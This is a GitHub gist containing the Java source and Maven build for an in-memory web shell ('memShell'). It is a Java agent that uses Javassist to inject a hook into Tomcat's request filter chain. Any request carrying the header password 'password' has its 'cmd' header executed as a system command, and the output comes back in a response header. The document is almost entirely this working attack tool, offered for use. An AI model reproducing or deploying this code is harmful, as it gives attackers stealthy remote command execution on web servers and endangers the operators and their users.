Created
July 18, 2020 09:33
-
-
Save XuCcc/4e12e4d998f4b74f9349bba07cd45167 to your computer and use it in GitHub Desktop.
javawebshell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package pers.xu.webshell; | |
import pers.xu.webshell.util.Log; | |
import java.lang.instrument.Instrumentation; | |
import java.util.logging.Logger; | |
public class Agent { | |
public static final int AGENT_DELAY = 30; | |
private static Logger LOG = Logger.getLogger(Agent.class.getName()); | |
public static void premain(String agentArgs, Instrumentation inst) { | |
init(agentArgs, inst); | |
} | |
public static void agentmain(String agentArgs, Instrumentation inst) { | |
init(agentArgs, inst); | |
} | |
private static void init(String agentArgs, Instrumentation inst) { | |
Log.init(true, true); | |
try { | |
inst.addTransformer(new Transformer(), true); | |
} catch (Throwable e) { | |
Log.error("transform error", e); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package pers.xu.webshell; | |
import javassist.CannotCompileException; | |
import javassist.ClassClassPath; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtMethod; | |
import javassist.LoaderClassPath; | |
import javassist.NotFoundException; | |
import pers.xu.webshell.util.Log; | |
import java.io.ByteArrayInputStream; | |
import java.io.IOException; | |
import java.lang.instrument.ClassFileTransformer; | |
import java.lang.instrument.IllegalClassFormatException; | |
import java.security.ProtectionDomain; | |
public class Transformer implements ClassFileTransformer { | |
private static final String CLASS = "org.apache.catalina.core.ApplicationFilterChain"; | |
private static final String METHOD = "internalDoFilter"; | |
private static String CODE = "pers.xu.webshell.manage.Manager.handle(" + | |
"(javax.servlet.http.HttpServletRequest) $1," + | |
"(javax.servlet.http.HttpServletResponse) $2" + | |
");"; | |
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { | |
if (!CLASS.replace(".", "/").equals(className)) { | |
return classfileBuffer; | |
} | |
try { | |
CtClass ctClass = getCtClass(loader, className, classfileBuffer); | |
if (ctClass == null) { | |
return classfileBuffer; | |
} | |
CtMethod ctMethod = ctClass.getDeclaredMethod(METHOD); | |
ctMethod.insertBefore(CODE); | |
byte[] byptes = ctClass.toBytecode(); | |
ctClass.detach(); | |
return byptes; | |
} catch (NotFoundException e) { | |
Log.error("Class not find", e); | |
} catch (CannotCompileException e1) { | |
Log.error("translate class fail", e1); | |
} catch (IOException e2) { | |
Log.error("turn into bytes fail", e2); | |
} | |
return classfileBuffer; | |
} | |
private CtClass getCtClass(ClassLoader classLoader, String className, byte[] classfileBuffer) throws IOException { | |
CtClass ctClass = null; | |
ClassPool classPool = new ClassPool(); | |
addLoaderToClassPool(classPool, classLoader); | |
try { | |
ctClass = classPool.get(className.replace('/', '.')); | |
} catch (Exception e) { | |
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer)); | |
} | |
if (ctClass != null) { | |
if (ctClass.isFrozen()) { | |
ctClass.defrost(); | |
} | |
} | |
return ctClass; | |
} | |
private void addLoaderToClassPool(ClassPool classPool, ClassLoader loader) { | |
classPool.appendSystemPath(); | |
if (loader != null) { | |
classPool.appendClassPath(new LoaderClassPath(loader)); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package pers.xu.webshell.ref; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class RefServletHttpRequest { | |
private Object request; | |
public RefServletHttpRequest(Object object) { | |
this.request = object; | |
} | |
public String getQueryString() { | |
try { | |
return (String) request.getClass().getMethod("getQueryString", null) | |
.invoke(request); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public Map<String, String[]> getParameterMap() { | |
try { | |
return (Map<String, String[]>) request.getClass().getMethod("getParameterMap", null) | |
.invoke(request); | |
} catch (Exception e) { | |
return new HashMap<>(); | |
} | |
} | |
public String getParameter(String key) { | |
try { | |
return (String) request.getClass().getMethod("getParameter", String.class) | |
.invoke(request, key); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public String getRequestURL() { | |
try { | |
return ((StringBuffer) request.getClass().getMethod("getRequestURL") | |
.invoke(request)).toString(); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public String getRequestURI() { | |
try { | |
return (String) request.getClass().getMethod("getRequestURI", null) | |
.invoke(request); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public String getRemoteAddr() { | |
try { | |
return (String) request.getClass().getMethod("getRemoteAddr", null) | |
.invoke(request); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public String getMethod() { | |
try { | |
return (String) request.getClass().getMethod("getMethod", null) | |
.invoke(request); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
public String getHeader(String key) { | |
try { | |
return (String) request.getClass().getMethod("getHeader", String.class) | |
.invoke(request, key); | |
} catch (Exception e) { | |
return ""; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package pers.xu.webshell.ref; | |
import pers.xu.webshell.util.Log; | |
public class RefServletHttpResponse { | |
private Object response; | |
public RefServletHttpResponse(Object object) { | |
this.response = object; | |
} | |
public void addHeader(String key, String value) { | |
try { | |
response.getClass().getMethod("addHeader", String.class, String.class) | |
.invoke(response, key, value); | |
} catch (Exception e) { | |
Log.warn(e.toString()); | |
} | |
} | |
public void setHeader(String key, String value) { | |
try { | |
response.getClass().getMethod("setHeader", String.class, String.class) | |
.invoke(response, key, value); | |
} catch (Exception e) { | |
Log.warn(e.toString()); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package pers.xu.webshell.manage; | |
import pers.xu.webshell.util.Log; | |
import pers.xu.webshell.ref.RefServletHttpRequest; | |
import pers.xu.webshell.ref.RefServletHttpResponse; | |
import pers.xu.webshell.util.Utils; | |
public class Manager { | |
private static final String PASSWORD_KEY = "password"; | |
private static final String PASSWORD_VALUE = "password"; | |
private static final String RESULT_KEY = "X-App-R"; | |
private static final String CMD_KEY = "cmd"; | |
private RefServletHttpRequest request; | |
private RefServletHttpResponse response; | |
public Manager(RefServletHttpRequest request, RefServletHttpResponse response) { | |
this.request = request; | |
this.response = response; | |
} | |
public static void handle(Object req, Object res) { | |
try { | |
RefServletHttpRequest request = new RefServletHttpRequest(req); | |
RefServletHttpResponse response = new RefServletHttpResponse(res); | |
Manager m = new Manager(request, response); | |
m.doFilter(); | |
} catch (Exception e) { | |
Log.error(e.toString()); | |
} | |
} | |
private void doFilter() { | |
if (!PASSWORD_VALUE.equalsIgnoreCase(request.getHeader(PASSWORD_KEY))) { | |
clear(); | |
return; | |
} | |
if (!Utils.isBlankString(request.getHeader(CMD_KEY))) { | |
String result = Utils.exec(request.getHeader(CMD_KEY)); | |
setResult(result); | |
} | |
} | |
private void setResult(String result) { | |
response.setHeader(RESULT_KEY, result); | |
} | |
private void clear() { | |
response.setHeader(RESULT_KEY, "none"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="UTF-8"?> | |
<project xmlns="http://maven.apache.org/POM/4.0.0" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> | |
<modelVersion>4.0.0</modelVersion> | |
<groupId>pers.xu.webshell</groupId> | |
<artifactId>memShell</artifactId> | |
<version>0.0.1</version> | |
<build> | |
<plugins> | |
<plugin> | |
<groupId>org.apache.maven.plugins</groupId> | |
<artifactId>maven-jar-plugin</artifactId> | |
<configuration> | |
<archive> | |
<manifest> | |
<addClasspath>true</addClasspath> | |
</manifest> | |
<manifestEntries> | |
<Premain-Class>pers.xu.webshell.Agent</Premain-Class> | |
<Agent-Class>pers.xu.webshell.Agent</Agent-Class> | |
<Can-Redefine-Classes>true</Can-Redefine-Classes> | |
<Can-Retransform-Classes>true</Can-Retransform-Classes> | |
</manifestEntries> | |
</archive> | |
</configuration> | |
</plugin> | |
<plugin> | |
<groupId>org.apache.maven.plugins</groupId> | |
<artifactId>maven-shade-plugin</artifactId> | |
<version>3.2.4</version> | |
<executions> | |
<execution> | |
<phase>package</phase> | |
<goals> | |
<goal>shade</goal> | |
</goals> | |
<configuration> | |
<relocations> | |
<relocation> | |
<pattern>org.javassist</pattern> | |
<shadedPattern>xu.vender.org.javassist</shadedPattern> | |
</relocation> | |
</relocations> | |
</configuration> | |
</execution> | |
</executions> | |
</plugin> | |
<plugin> | |
<groupId>org.apache.maven.plugins</groupId> | |
<artifactId>maven-compiler-plugin</artifactId> | |
<version>3.7.0</version> | |
<configuration> | |
<source>1.8</source> | |
<target>1.8</target> | |
</configuration> | |
</plugin> | |
</plugins> | |
</build> | |
<dependencies> | |
<dependency> | |
<groupId>org.javassist</groupId> | |
<artifactId>javassist</artifactId> | |
<version>3.27.0-GA</version> | |
</dependency> | |
</dependencies> | |
</project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment